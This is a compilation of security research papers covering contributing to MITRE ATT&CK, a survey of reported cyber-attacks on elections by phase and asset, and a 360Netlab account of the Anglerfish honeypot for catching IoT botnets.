ATT&CK is in a constant state of development and the MITRE team is looking for quality contributions from the infosec community.

You can contribute by:

- adding new entities (techniques, groups, software) that are not yet listed
- adding relationships between entities — for example when you’ve observed a particular APT group using a particular technique or software
- improving existing descriptions — additional information on already listed entities is also welcome

MITRE provides general guidance on how to contribute, as well as a comprehensive philosophy paper. In this section we’ll discuss some interesting observations based on our own submissions and opportunities for improving ATT&CK.

macOS and Linux contributions

While the knowledge base has good coverage of Windows techniques, there’s a gap in those pertaining to macOS and Linux, so those types of contributions are in higher demand. As mentioned above, you can either submit new techniques that are macOS- or Linux-specific, or improve descriptions of existing techniques that were missing their usage on those platforms. For example, we reported our observation that the OceanLotus group used the Timestomping technique on macOS, since that platform is currently missing in the technique’s description. The addition should go live in the next ATT&CK update.

Crimeware and commodity malware

The knowledge base centers more around APTs rather than crimeware, which is somewhat understandable considering the focus of Enterprise ATT&CK. However, this is not a hard and fast rule, with the inclusion of financially motivated threats such as Emotet, TrickBot, and Ursnif, for example.

The fact of the matter is that boundaries between software used for the two common attack motivations (financially motivated, often mass–distributed, opportunistic threats vs. targeted threats) have become blurred. Crimeware is often being repurposed from mass-spread attacks against individuals (e.g. banking Trojans and ransomware) to more targeted (although equally, or even more, financially motivated) attacks against organizations, where the adversaries have the prospect of making more money. Another scenario is operators of widespread botnets offering access to compromised organizations to the highest bidders.

The same can be applied to the differentiation of “commodity malware”. Adversaries of all types and motivations employ a wide range of malware — custom-built, closed-source; open source; or commercial “commodity” varietie — as well as non-malware: abusing legitimate software, post-exploitation tools, and so on.

Thus, we can expect a broader range of threats (and associated techniques and tactics) organizations face to be featured in future versions of ATT&CK.
Policy against leaked information

An interesting fact is that MITRE has a strict policy regarding using leaked information. That means any references to (reportedly) leaked information will not be included. For this reason, most of our submission on Animal Farm (aka Snowglobe) was rejected, with the exception of EvilBunny, based on independent research.

Variation in technique breadth

One of the challenges when compiling a taxonomy like ATT&CK is deciding on the optimal level of abstraction or granularity — the boundaries between techniques or their more specific implementations — “procedures” aren’t set in stone. In its current version, some techniques are rather broad (e.g. Drive-by Compromise, External Remote Services, or Hooking), while others are very specific (e.g. InstallUtil, Launchctl, or LC_LOAD_DYLIB Addition).

Deciding whether your contribution should be its own technique — or encompassed in an already existing one — will be part of nearly all submission reviews. For example, in the case of our submission of parasitic file-infectors (viruses) — aside from the debate on commodity malware addressed earlier — MITRE will be including it in the broader Taint Shared Content technique, rather than as a technique of its own. Another example is our submission regarding the Turla group employing the innovative technique of using a Microsoft Exchange Transport Agent in their LightNeuron backdoor. This will also likely be incorporated in a broader technique in the next ATT&CK update. The potential solution to the inconsistencies in technique granularity could be the introduction of sub-techniques. While this will be a huge change to the matrix, creating extra work to implement, in general, we feel it’s a step in the right direction.

Conclusions

The MITRE ATT&CK knowledge base is constantly evolving. We can see that with new techniques being added with each update — and even with new tactics. The first tactic we were direly missing when we started contributing to the matrix was Impact. It’s great that this was added, and we can expect the Impact tactic to expand further — even with criminal types of impact as boundaries between threat types and motivations become even more blurred.

An expansion not just with the various platforms but entire domains — routers and network devices, IoT devices, and so on — will be needed to reflect the diverse threat ecosystem. The upcoming ICS ATT&CK is a welcome step in this direction.

As for contributing, communication with the MITRE ATT&CK team has been great. They’re professionals and appreciate the work of the infosec community. One negative aspect is that they receive a great number of contributions and therefore have a long backlog for processing them. But once your submission gets to the front of the queue, it usually gets reviewed quickly.

It helps to be comprehensive and submit high-quality reports — this will save time on both sides. At ESET we have an internal peer-review process for this before we send our submissions to MITRE. If you haven’t yet started working with ATT&CK, you may be wondering how much time and effort our researchers spend on it. It depends on how comprehensive the mapping is — it can be a few hours for a single piece of malware or a day or two for a whole threat actor group. But, it’s like learning any new language: it gets easier as you become more familiar with it.

To sum up: make use of this standardized taxonomy and contribute!
Protecting Democracy — Elections Under Attack

Yoav Arad Pinkas / Check Point Software Technologies

Abstract

Elections related Cyber-attacks have been the focus of public attention ever since the 2016 US presidential elections; but years before, fear of cyber-attacks prevented decision makers in many countries from digitizing the election process. Attacks on elections serve one of two objectives — promotion of a favored candidate or erosion of the public trust in the democratic system.

We directed our investigation at cyber-attacks aimed at the confidentiality, availability and integrity of private and national election related infrastructures. We assess the details and categorize major published cyber-attacks on democratic elections according to the type of attacks, the targeted asset and the phase of elections in which they occurred. The result is a clear view of the attack characteristics and the methods used by threat actors.

Key findings

1. Our research shows that despite the headlines and public attention to hacking, we did not find any reported attacks directed at voting machines or the integrity of the voting process itself.
2. Instead, most attacks concentrate on either the political party or candidate’s IT infrastructure during the campaign or at the publication for the preliminary and final results.
3. Party IT infrastructure is an ideal target, as party funding and proficiency in cyber protection are often lacking, and the infrastructure is not protected by national cyber authorities. This is problematic as this infrastructure stores attractive information capable of skewing the campaign results.

The conclusions of this research provide insights and recommendations suitable for anyone in the occupation of elections’ protection and cyber research. Better mechanisms should be developed to extend cyber security means to candidates and political parties. Voting infrastructure seems not the favorite target for current nation state attackers and attack objectives. Modern voting machines with paper audits should be reconsidered as an alternative to manual voting.

Introduction

“...election interference from abroad represents an intolerable assault on the democratic foundations this republic has been found on.”

Sen. Richard Burr, Intelligence Committee Chair, August 1, 2018

The 2016 US elections brought cyber-attacks on democratic-elections to the public attention, with the alleged Russian interference. Elections are crucial to a representative democracy and the public trust in election results’ purity is essential to the system. Undermine the confidence in election results and you undermine the legitimacy of the democratic institutions.

When we imagine state backed cyber-attacks on elections we think of attempts to counterfeit the voting results in a way that would assure the appointment of the candidate deemed most desirable by the intervening state. Such direct manipulation of the results can be done directly by compromising and exploiting multiple Electronic Voting Machines (EVM) and changing the recorded votes. Another attack option is the tabulation systems which calculate the results in the various local, regional or central points. A third venue is the communication system used to transfer local and regional polling station results to central locations.

Much of the current security effort is directed at securing and preventing such attacks. For the past three years DEFCON has held a voting village[1] to challenge the security of various voting machines. In addition, numerous publications review potential weaknesses and threats in voting infrastructure, tabulation and communication.

The effect of such fears is reflected in the history of Netherlands’ elections. Voting machines were introduced in 1966 and by 2006 99% of Dutch voters cast their votes electronically[2]. Public debate focusing on the inability to validate the integrity of voting machines’ results led to a committee recommendations to change to paper verified voting machines. But these were rejected for fear of violation of voter secrecy and electronic voting was banned. In 2017 Dutch government banned the use of computers in the process of counting votes as well[3]. In just ten years the Netherlands wend from a fully electronic to an entirely manual election system.

But in reality things might be different. The Mueller report[4] published in April 2019 found that the Russian government “interfered in the 2016 presidential election in sweeping and systematic fashion” but in a much more subtle way. Most findings concentrate on influence operations...
using social media campaigns and other means to change public opinion and affect the results by deepening existing tensions in American society and the propagation of false news. The second method used by the Russian to affect election results was by hacking into email accounts and networks and releasing documents in an attempt to sabotage candidate support. The Mueller report, like most information on election related cyber-attacks, remains confidential and only a partial redacted version was published.

In our paper, we map reported cyber-attacks on elections and analyze the assets attacked as well as the type of attack used and the phases in which they were conducted. We disregard social media and influence operations and concentrate on cyber operations in which the threat actors targeted or succeeded in compromising and exploiting victims’ systems. [5][6]

Research overview and methodology

We reviewed publicly recorded cyber-attacks targeting election related assets during or in close proximity to national or local elections. The first report of such an attack was of the legislative elections held in the Russian Federation on December 2, 2007. The full list of attacks is detailed in Appendix 1.

We grouped the attacks according to the assets attacked and the election phase in which they occurred[7]:

- **Party / Candidate Registration** — Systems used to register candidates and parties in the early stages of the election setup.
- **Voter registration systems** — In countries where voter registration is required this refers to systems used for registration. In other countries, the regional or national databases holding electoral rolls.
- **Party and candidate IT** — Servers, email accounts and other IT systems used by candidates and parties during the election campaign.
- **Government IT** — Government servers, communication networks or endpoints used before, during and shortly after the election period.
- **Media interfaces** — Websites or other systems used to publish election results, this includes national infrastructure or public media outlets.

We classified each attack according to its nature using the CIA triad (Confidentiality, Integrity and Availability):

- **Confidentiality** — Attacks aiming to access information otherwise considered private or classified.
- **Availability** — Attacks aiming to render election related systems unusable or unavailable for the purpose they were intended to serve. Such attacks could be DDoS attacks on the result publication web sites, the candidate campaign infrastructure, and more.
- **Integrity** — Attacks aiming at the data accuracy and completeness. Such attacks are designed to change vote count, voter registration details or other election related data.

We further classified the recorded attacks according to the phase in which they occurred:

- **Setup phase** — Party and candidate registration stage, preliminary party elections, preparations of electoral rolls.
- **Campaign phase** — The candidate list is confirmed and each side works on establishing public support.
• **Voting phase** — Begins when voting stations open for casting votes and ends when voting terminates.

• **Result calculation phase** — Begins when voting stations are closed and includes the tabulation of local and regional results, communication of results to central locations, and calculation of the final results.

• **Result publication phase** — Begins when preliminary results are published and ends with the official announcement of final detailed results.

Findings

We reviewed 27 reports of election related attacks targeting Russia, Australia, Slovenia, Ukraine, Poland, Bulgaria, Germany, Montenegro, UK, USA, Hong Kong, Czech Republic, Norway, Malta, France, Cambodia, Israel and Finland. Details of these attacks are listed in Appendix 1.

We mapped the attacks according to their type (triangle color), according the attacked asset and the attack phase as presented in Figure 1.

As seen in Figure 1 the attacks can be divided into several categories:

• **Result publication systems in Availability attacks:** We found 10 cases in which countries experienced interference targeting the publication of interim or final results: Russia 2011, Slovenia 2014, Ukraine 2014, Bulgaria 2015, Poland 2015, Montenegro 2016, Czech Republic 2017, Malta 2017, Ukraine 2019 and Finland 2019. These attacks were conducted at the final stage of the election – publication of final or interim results. With the exception of the Ukraine 2014 elections, all these attacks were aimed at the availability of the result publication services directed at either the CEC (Central Election Commission) or at media outlets and related interfaces for reporting the results. The 2014 Ukraine elections is the single occurrence in which there was an attempt to manipulate the integrity of the results.
and portray the opposition candidate as the winner. It is clear that even in this case the attack was not planned to change the identity of the elected candidate but only to sow doubts concerning the reliability of the results, similar to the rest of the attacks in this category.

- **Party and Candidate confidentiality attacks:** Attacks targeting the confidentiality of the candidates in an attempt to collect information and documents, the publication of which would affect voters’ decision. Prominent examples for such attacks are US 2016 DNC, GOP and then candidate Hilary Clinton, Norwegian Labor party 2017, France 2017 and Cambodia 2018.

- **Government IT confidentiality attacks:** Most of these incidents were reported to seek political information on competing parties and candidates. In this sense, they are similar to the previous category, but targeting national IT infrastructure rather than individuals or parties. Such attacks include Australia 2011, Germany 2015, Montenegro 2015, Hong Kong 2016, Czech Republic 2017, Malta 2017, Cambodia 2018, Ukraine 2019 and Australia 2019.

- **Voter registration and electoral rolls:** Attacks on electoral rolls or voter registration systems. Such attacks were reported in the US 2016, UK EU referendum 2016 and Indonesia 2019. Multiple incidents were reported in the US 2016 but none except Indonesia in 2019 claimed for attempts at the integrity of the information but only confidentiality breaches.

These findings are very different from the imagined scenario presented at the opening of this paper, namely, that election related cyber-attacks would aim at voting infrastructure in an attempt to change voting results.

1. We did not find a single report of an attack aiming at the integrity of the vote casting, vote calculation or communication. No publication of attacks on voting infrastructure and no attempt to change results in favor of a different side of the political map. These finding surprised us, and we have a few reservations:
   a. In cases of cyber-attacks on national voting infrastructure the investigation was conducted by national agencies that have exclusive access to the infrastructure and logs. Reports of such investigations are classified.
   b. In addition, the investigating agency at the time of inquiry was serving an administration elected in the elections under scrutiny and therefore have conflicts of interest regarding the investigation. Such an administration has every reason to promote findings supporting the accuracy and legitimacy of the results.
   c. This finding does not mean that investment in security measures of voting infrastructure is redundant; on the contrary, the fact that no successful attacks were reported could be the result of high awareness and preparations on the part of election authorities.

2. Attacks on result publications are expected in cases where the intention is to undermine popular confidence in the elections results. DDoS attacks are relatively simple to conduct and publication websites are an easy target. These attacks are conducted at a critical moment when full public attention is directed at one point and thus achieve maximal effect. Such attacks don’t require the attacker to identify a supported candidate and allow for a general attack on the election system.

3. Parties and candidates appear to be particularly attractive targets for election related cyber-attacks. Parties in most democracies are not protected by national cyber agencies, their operations and IT systems are in many cases assembled ad-hoc a short time prior to the elections, and often lack cyber protection resources or knowledge. Attempts to
prevent such risks include changing the regulations to extend cyber agencies’ protection to political parties. However, this is problematic and it is common to deny governmental agencies access to political assets. An alternative to this option is to set aside part of the national budget and dedicate it to cyber security, to be contracted by political parties and candidates. Another possible attack surface that could be used in respect to political parties is attacking preliminary internal party elections. Such elections are in many cases conducted on EVM infrastructure that is more susceptible to attacks and lacks security or auditing measures but could have substantial effect on candidate lists.

**Conclusion**

Recorded attacks on democratic elections have two aims: promoting candidates who potentially align with the interest of the attackers, and undermining public confidence in the democratic system. Our research did not find any published record of voting infrastructure related cyber-attacks. We did see attacks on political parties and candidates as the main vector in attempting to affect results. Other attack vectors mainly serve for the second objective — eroding confidence in Democracy. Candidate and party IT security should therefore be given serious attention. Adequate regulation and budgeting need to address the protection of political parties in order to insure, not only their interests, but also the image of the democratic procedure in the eyes of the public.

Integration of voting machines, with all modern protection, should be reconsidered. Current analysis could find them to be less prone to forgery and intervention than manual methods. Cyber security industry should, as it has done in the past, take an active part and supply security solutions in order to enable the use of modern means — in elections security too.

**Appendix 1 – recorded election related cyber attacks**

<table>
<thead>
<tr>
<th>Country / Year</th>
<th>Asset / phase</th>
<th>CIA Triad</th>
<th>Details</th>
<th>Suspected state sponsor</th>
</tr>
</thead>
<tbody>
<tr>
<td>Russia 2007</td>
<td>Candidate website</td>
<td>Availability</td>
<td>In the lead up to the Russian elections in late 2007, the website for the opposition candidate and his political party were both hit with substantial DDoS attacks in an attempt to silence and censor opponent views. [8]</td>
<td>Russia</td>
</tr>
<tr>
<td>Russia 2011</td>
<td>Candidate website and media outlets</td>
<td>Availability</td>
<td>In Russia’s 2011 election, the target list expanded to include opposition media outlets like the Moscow Echo, and the election monitoring group Golos.</td>
<td>Russia</td>
</tr>
<tr>
<td>Australia 2011</td>
<td>Federal parliamentary email network</td>
<td>Confidentiality</td>
<td>China was suspected of accessing, for more than a month, the email system used by federal MPs, their advisers, electorate staff and parliamentary employees. [9]</td>
<td>China</td>
</tr>
<tr>
<td>Country / Year</td>
<td>Asset / phase</td>
<td>CIA Triad</td>
<td>Details</td>
<td>Suspected state sponsor</td>
</tr>
<tr>
<td>---------------</td>
<td>--------------</td>
<td>-----------</td>
<td>---------</td>
<td>-------------------------</td>
</tr>
<tr>
<td>Slovenia 2014</td>
<td>Media interface of the Statistical Office</td>
<td>Availability</td>
<td>Multiple attacks on the Slovak Local Election websites for publication of interim results were conducted on election night. Since alternative channels were established in advance, DDoS attacks did not obstruct publication of the results in media outlets. [10].</td>
<td></td>
</tr>
<tr>
<td>Ukraine 2014</td>
<td>Central Elections Commission website</td>
<td>Availability / Integrity</td>
<td>Three days before Ukraine's presidential election a Russia-based hacking group took down the country's CEC in an overnight attack. A back-up system was taken down, but Ukrainian computer experts were able to restore the system before election day. On election night, government experts removed a malware from the CEC computers. The malware was designed to change vote results publication portraying ultra-nationalist Right Sector party leader Dmytro Yarosh as the winner with 37 percent of the votes instead of the 1 percent he actually received. Although the malware was removed and the correct results were presented at the CEC website, Russian television reported Yarosh was leading with 37% of the votes and displayed a screenshot from the CEC showing these results. [11].</td>
<td>Russia</td>
</tr>
<tr>
<td>Poland 2014</td>
<td>Central Elections Commission</td>
<td>Availability</td>
<td>DoS attack preventing the publication of results for municipal elections in Poland. [12].</td>
<td></td>
</tr>
<tr>
<td>Bulgaria 2015</td>
<td>Central Elections Commission</td>
<td>Availability</td>
<td>Hours into the elections, the Bulgarian CEC and several governmental ministries suffered a DDoS attack. The attack did not compromise results which are manually collected and calculated. [13].</td>
<td></td>
</tr>
<tr>
<td>Germany 2015</td>
<td>Party email system</td>
<td>Confidentiality</td>
<td>16 gigabytes of data were stolen from the email inboxes of at least 16 members of parliament, including Chancellor Angela Merkel's constituency office. [14].</td>
<td>Russia</td>
</tr>
<tr>
<td>Montenegro 2016</td>
<td>Government and state institutions</td>
<td>Availability</td>
<td>Official government websites and network infrastructure came under serious DDoS attack on the day of the parliamentary elections in Montenegro. This occurred during the final negotiations concluding the membership of Montenegro in NATO. [15].</td>
<td>Russia</td>
</tr>
<tr>
<td>Country / Year</td>
<td>Asset / phase</td>
<td>CIA Triad</td>
<td>Details</td>
<td>Suspected state sponsor</td>
</tr>
<tr>
<td>---------------</td>
<td>--------------</td>
<td>-----------</td>
<td>---------</td>
<td>-------------------------</td>
</tr>
<tr>
<td>UK 2016</td>
<td>Voter registration</td>
<td>Availability</td>
<td>100 minutes before the deadline to register to vote in the EU “Brexit” referendum the government website used for voter registration collapsed, forcing the government to extend the deadline. Parliamentary report found indications of a DDoS attack and concern of foreign intervention. These findings follow repeated claims that Russia has been involved in a broad cyber influence operation in support for the Brexit “Leave” vote.</td>
<td>Russia</td>
</tr>
<tr>
<td>US 2016</td>
<td>Voter registration</td>
<td>Integrity</td>
<td>Voter registration systems of at least 21 states were targeted during the 2016 presidential elections, and several were successfully compromised. No evidence was disclosed of successful altering of databases. The email account of a subcontractor for electronic voting machines, VR, was hacked and used in a phishing attempt directed at election officials across the US.</td>
<td>Russia</td>
</tr>
<tr>
<td>US 2016</td>
<td>Party email servers</td>
<td>Confidentiality</td>
<td>GRU hackers gained access to the email account of John Podesta, Clinton’s campaign manager and later published their content. Hackers also accessed the network of the DNC (Democratic National Committee). 70 gigabytes of data were exfiltrated from Clinton’s campaign servers and some 300 from the DNC network. The stolen documents were later distributed by WikiLeaks.</td>
<td>Russia</td>
</tr>
<tr>
<td>US 2016</td>
<td>Party email servers</td>
<td>Confidentiality</td>
<td>According to FBI director James Comey, although Republican servers were also hacked during the 2016 campaign their content was not published.</td>
<td>Russia</td>
</tr>
<tr>
<td>Hongkong 2016</td>
<td>Government IT</td>
<td>Confidentiality</td>
<td>Chinese hackers attacked two Hong Kong government departments as the city prepared for an election. One of the methods used by APT3 was sending an email claiming to be an election results report, which contained a malicious hyperlink leading to malware.</td>
<td>China</td>
</tr>
<tr>
<td>Czech Republic 2017</td>
<td>Czech Statistical Office</td>
<td>Availability</td>
<td>The websites used for presenting the Czech Republic’s election results were targeted and taken offline. The attack did not affect either the infrastructure used for the transmission of election results to the CSU headquarters or the independent data processing.</td>
<td></td>
</tr>
<tr>
<td>Country / Year</td>
<td>Asset / phase</td>
<td>CIA Triad</td>
<td>Details</td>
<td>Suspected state sponsor</td>
</tr>
<tr>
<td>---------------</td>
<td>--------------</td>
<td>----------------------</td>
<td>--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------</td>
<td>--------------------------</td>
</tr>
<tr>
<td>Czech Republic 2017</td>
<td>Czech Foreign Ministry</td>
<td>Confidentiality</td>
<td>A few months prior to elections dozens of foreign ministry email accounts were breached and data was exfiltrated. A 2019 parliamentary committee report determined a foreign country was behind the attack but did not provide a specific name. Local media reported the Russian GRU was behind the attack.</td>
<td>Russia</td>
</tr>
<tr>
<td>Norway 2017</td>
<td>Labor party</td>
<td>Confidentiality</td>
<td>The Norwegian Labor party's parliamentary group was attacked. The Norwegian police security service tied the attack to Russia.</td>
<td>Russia</td>
</tr>
<tr>
<td>Malta 2017</td>
<td>Government IT</td>
<td>Confidentiality and Availability</td>
<td>Following increasing tension between Malta and Russia over EU issues, Malta accused Russia of a wide cyber-attack which included DDoS and phishing attempts on government IT infrastructure.</td>
<td>Russia</td>
</tr>
<tr>
<td>France 2017</td>
<td>Candidate email account</td>
<td>Confidentiality</td>
<td>A day before the 2017 French election, 20,000 internal emails and documents related to then candidate Emmanuel Macron were leaked as a result of an email account hack. The French team added false documents to real ones in an attempt to discredit findings in case of hacking. The leaked materials were spread using bots and spammers.</td>
<td>Russia</td>
</tr>
<tr>
<td>Mexico 2018</td>
<td>Availability</td>
<td></td>
<td>Website of the Mexican PAN political party suffered a DDoS attack during the final TV debate between candidates. Website published alleged evidence concerning the leading candidate and later president Lopez Obrador corruption allegations.</td>
<td></td>
</tr>
<tr>
<td>Country / Year</td>
<td>Asset / phase</td>
<td>CIA Triad</td>
<td>Details</td>
<td>Suspected state sponsor</td>
</tr>
<tr>
<td>---------------</td>
<td>-----------------------</td>
<td>---------------</td>
<td>--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------</td>
<td>-------------------------</td>
</tr>
<tr>
<td>Ukraine 2019</td>
<td>Central Election Committee</td>
<td>Availability</td>
<td>The CEC was targeted by Russian-backed hackers and subjected to DDoS attacks on 24 February and 25 February. Ukraine’s then President, Petro Poroshenko, accused Russia of being the source of the attack. [29]</td>
<td>Russia</td>
</tr>
<tr>
<td>Finland 2019</td>
<td>Result publication system</td>
<td>Availability</td>
<td>The Finnish police probed a denial of service attack against the web service used to publish the vote tallies from Finland’s elections. [30]</td>
<td>Russia</td>
</tr>
<tr>
<td>Australia 2019</td>
<td>Parliamentary email accounts</td>
<td>Confidentiality</td>
<td>Hackers breached the network of the Australian national parliament and accessed the networks of the ruling Liberal party, its coalition partner the rural-based Nationals, and the opposition Labor party. A later report by Australian intelligence found China responsible for the attack but recommended to keep findings secret in order to retain relations with China [31].</td>
<td>China</td>
</tr>
<tr>
<td>Indonesia 2019</td>
<td>Electoral rolls</td>
<td>Integrity</td>
<td>Ahead of the 2019 General Elections The National CEC reported of attacks originated in Russia and China attempting to modify electoral rolls as well as to create ghost voters, or fake voter identities. The commission is investigating allegation concerning 17.5 million fraudulent names added to the electoral roles. [32]</td>
<td>Russia / China</td>
</tr>
<tr>
<td>Israel 2019</td>
<td>Candidate mobile phone</td>
<td>Confidentiality</td>
<td>Iran’s intelligence service hacked into former IDF Chief and Israeli opposition leader Benny Gantz’ cellphone ahead of Israel’s April elections [33].</td>
<td>Iran</td>
</tr>
</tbody>
</table>

References

[2] (Loeber, 2014)
[5] The terminology used in this paper is as defined by the US Cyber Threat Intelligence Integration Center in the “Cyber Threats to Elections — A Lexicon” https://www.dni.gov/index.php/ctiic-features/2620
[6] For a review of attacks from the last three years including Cyber Influence operations we refer to the Australian Strategic Policy Institute (ASPI) research “Hacking democracies – cataloguing cyber-enabled attacks on elections” 2019.
[10] Compendium on Cyber Security of Election Technology, CG Publication 03/2018
Hunting Advanced IoT Malware

GenShen Ye, 360Netlab

Abstract

For the past few years, the concerns regarding to IoT security has really been picking up, the IoT industry is booming, but the vendors normally don’t have the needed resource to design and implement the needed security features, more and more newly emerging botnets started to catch the waves. Almost all the botnets start with network wide scan to find potential victims and collect device information. And this is the key area our Anglerfish honeypot system focuses on, to analyze scan payloads and capture suspicious ELF samples, especially the advanced IoT malwares.

GenShen Ye has 4 years of network security work experience. Currently, he is a network security researcher at 360Netlab, designing and developing the Anglerfish honeypot, and hunting advanced IoT malware.
Introduction

How do I define Advanced Malware Threat?

What qualifies advanced malware threat? I would think either of the following two:

1. Involving 0-day vulnerability,
2. Malware that exist not just for the typical profit making, but other purpose.

My approach of doing AMT research

My typical workflow to research IoT security has the following four components:

1. The initial catch phase, using Anglerfish honeypot, there are a whole lot of pieces, but the core elements are: IoT device fingerprints simulation, setting up application protocols and vulnerabilities traps, network scan payloads and samples analysis.
2. Filtering out the interesting x86, x86-64, ARM, MIPS, etc samples, especially for malwares that cannot be identified by anti-virus vendors.
3. Investigating the population of affected devices on the Internet by developing scanners targeting specific vulnerabilities to evaluate affected devices on the Internet.
4. When possible, get a copy and do more investigation of the official firmware that was involved.

The Status Quo of IoT Security

I have been analyzing Anglerfish payloads, ELF samples and IoT botnet campaigns for many years, to me, the current IoT industry has the following three problems from security’s standpoint.

1. IoT device tends to have little or no security design from the get go.
2. The Capability of IoT botnets on the other hand, keeps growing.
3. With the wide deployment of various IoT devices, it has become a new target for APT attacks.

The weak Defense of IoT Devices

1. Vulnerabilities and much delayed patched, or no patch at all.
2. Malicious traffic VS no blocking mechanism
3. Feel free to run as will malware VS little or no OS security controls

The Keeps Growing Capability of the IoT Botnets

INFECT METHOD

The way IoT botnet infecting the victims has changed a lot, at the very beginning, most IoT used and only used brute force to gain access to the targets. Then, slowly, more and more publicly available vulnerability exploits popped up here and there. Lately, we started to see 0-day vulnerabilities.
Here are some examples we published on our 360Netlab blogs:

- 2016-08-01, Mirai used large amounts of weak passwords to brute force Telnet service for propagation.
- 2016-11-28, Mirai variant exploit Zyxel tr064 protocol vulnerability for propagation, however, the exploits were not stable and thus lead to network outage in German Telecom.
- 2017-09-13, Reaper exploit nine IoT vulnerabilities, one of which, the VarconNVR RCE vulnerability was just released 2 days prior.
- 2017-12-05, Satori utilized Huawei Router HG532 0-day vulnerability to propagate, and about 570 thousands IPs were infected on that single day.
- 2018-09-04, MikroTik devices became victims of the leaked CIA ChimayRed hacker tool, and the attacker use it for eavesdropping, proxying and implanting JS mining code.
- 2019-02-16, Fbot use XiongMai hardcoded username/password as well as 0-day vulnerability of DVRIP upgrade interface for propagation.

C2 TECHNIQUES

We also observer botnet using more sophisticated C2 techniques, such as

1. Redundant C2: it is common these days for botnet to use multiple C2 IPs, and we started to see DGAs.
2. More C2 communication protocols: P2P protocol for communication has been adopted, we also caught the first botnet using DoH protocol for DNS resolution.
3. Complicated C2 structure: we see botnet dividing C2 functions into different plugins, we see botnet constructing multi-level C2 protocols, all to make things more difficult for security researchers.

IOT DEVICES BECOME THE NEW TARGET OF APT ATTACKS

The exposed CIA ChimayRed and VPNFilter toolkits have demonstrated that APT attack and are surveillance have found the new IoT playground.

On 2018-09-04, we published a blog article "7,500+ MikroTik Routers Are Forwarding Owners’ Traffic to the Attackers, How is Yours?", in which we disclosed that MikroTik routers were being used by attacker for eavesdropping, proxying and implanting JS mining code. We discovered that the traffic from about 7.5k MikroTik RouterOS devices were being monitoring and the TZSP traffic were forwarded to specific IP address controlled by the attacker.

One of the attackers (37.1.207.114) monitored a large number of MikroTik RouterOS devices, the monitored ports/protocols included TCP port 20(FTP-data), 21(FTP), 25(SMTP), 110(POP3) and 143(IMAP). All these protocols transfer data in plaintext, thus attacker can obtain victims’ sensitive information passing the routers.

The Anglerfish Honeypot

History

Mirai first came out in 2016-09, it controlled lots of IoT devices by scanning Telnet service and made a bunch of notorious attacks in a very short timeframe. Was not able to find any good opensource honeypot that can capture Mirai, I began to customize Hontel, a opensource honeypot, to capture the Mirai samples.
Pretty soon, the mirai code was published online and that opened the pandora box, all kinds of new Mirai variants started to emerge. And some brand-new ports, such as TCP/6789, TCP/7547, TCP/37777 have been added on their scan list. I was stuck again as I knew nothing about these ports, and I only had Telnet honeypot on TCP/23 and TCP/2323 running.

So starting from 2016-11, I developed another honeypot based on Blackhole. And I added more modules so the honeypot could capture all TCP and UDP port traffic. I also put a lot of effort so the honeypot could simulate varieties of application protocols.

By the end of 2018-08, the code of my honeypot was increased hundreds of times compared with the original Blackhole honeypot, And I named it Anglerfish and talked about it at our 360Netlab salon and ISC 2018.

**Introduction**

Anglerfish honeypot is one of the core honeypot systems here at 360Netlab. The system can monitor all TCP and UDP ports and simulate lots of fingerprints for various IoT devices and server environments, and many difficult application protocols and vulnerabilities are also supported.

- Network protocol: TCP and UDP both supported
- Simulated environment: fingerprints of IoT and server environment, 50+ application protocols and 100+ vulnerabilities
- Interaction method: the honeypot performs low interaction with most regular botnets, and high interaction with some application protocol/program when it is needed.
- Data capture: Fuzz Testing technique was introduced to capture more and detailed scanning data

**Architecture**

The Anglerfish honeypot is mainly composed of six components: Forwarder, Handler, Simulator, Analysiser, Downloader and Reporter. By now, I have double digits Anglerfish honeypot nodes deployed all around the world.
Some basic statistics:

**MOST PROBED PORTS**

Here is the breakdown for the most popular ports, Telnet and HTTP protocol are probed the most in Anglerfish honeypot.

![Figure 2. Top 20 Most Probed Ports](image)

**EXPLOITS STATISTICS**

On average, Anglerfish honeypot detects 10+ IoT RCE exploits every day, and so far has captured 150+ RCE exploits. Most of those IoT exploits are publicly available. Here is a tag cloud.

![Figure 3. RCE exploits statistics](image)
**ELF MALWARE FAMILY STATISTICS**

Currently the most active IoT botnet families are Mirai and Gafgyt. Anglerfish captures 1000+ Mirai samples every day on average.

![Figure 4. ELF Malware families](image)

**The workflow to research Unknown IoT Exploits**

While most of the IoT botnets are armed with N-day vulnerability exploits, some botnet operators, such as Satori, TheMoon, Fbot and so on, have had 0-day IoT device vulnerabilities at hand to build larger scale of IoT botnet. 0-day vulnerability exploits are not common and by nature propagate in more covert ways with 0 or low detect rate.

Anglerfish honeypot has special and customized anomaly detection modules to process scan data for this purpose. By now, we have published three of our 0-day exploits findings: CVE-2017-17215 exploit by Satori, Gpon Home Router RCE exploit by TheMoon and DVRIP protocol vulnerability exploit by Fbot.

**The Scan Detection**

Satori botnet scans port 37215 and 52869 and uses some 0-day and N-day exploits to propagate. Such propagating process comes with explicit scanning patterns, that include both patterns on a single packet as well as patterns on the scanner clusters.

For example, in a given time frame, calculating the Pearson product-moment correlation coefficient between the number of scanner IPs with a specific payload and the capture count of that payload can identify suspicious payloads which come from botnet.
Below is an example of botnet scan payload report from Anglerfish.

![Botnet Scan Report for Payload MDS: 5bdc18aa6626da533df66b7f53b388a86b](image1)

**Figure 5. Botnet scan payload from Anglerfish**

Below is a statistic of some botnet payloads targeting IoT devices.

![Table of botnet payloads targeting IoT devices](image2)

**Figure 6. Botnet scan payload from Anglerfish**
Unknown RCE Exploit Detection

As an example, this is how I discovered the Fbot botnet which exploited Xiongmai DVRIP 0-day RCE vulnerability:

1. At the beginning, the Anglerfish system noticed the rise of HTTP port scans.
2. Although the full protocol of Fbot was not supported, Anglerfish was able to engage Fuzz testing to those HTTP scan requests, and was able to capture the Fbot sample even though the interaction between the bot and the honeypot was not able to complete.
3. The MITM module was subsequently added and successfully kicked in to forward Fbot scan traffic to the real device and key exploit on DVRIP protocol was captured.

![Figure 7. RCE Exploit Detection](image)

The workflow to research Unknown IoT Botnet

Overview

Our malware depot has three major data sources: Anglerfish honeypot, VirusTotal and 360Netlab. And our focus at this point are the ELF Executable samples on various CPU platform, including x86, x86-64, ARM, MIPS and so on.

ELF samples are being processed daily to extract the ones have C2 communication mechanisms but have not yet been identified by anti-virus vendors. These samples as unknown botnets to us.

So far, I have identified 30+ unknown botnet samples, some of them are posted on Twitter under #unknown_botnet. What is more, I also came across some APT botnets (not disclosed yet) against router devices.

The Process of Extracting Unknown ELF Samples

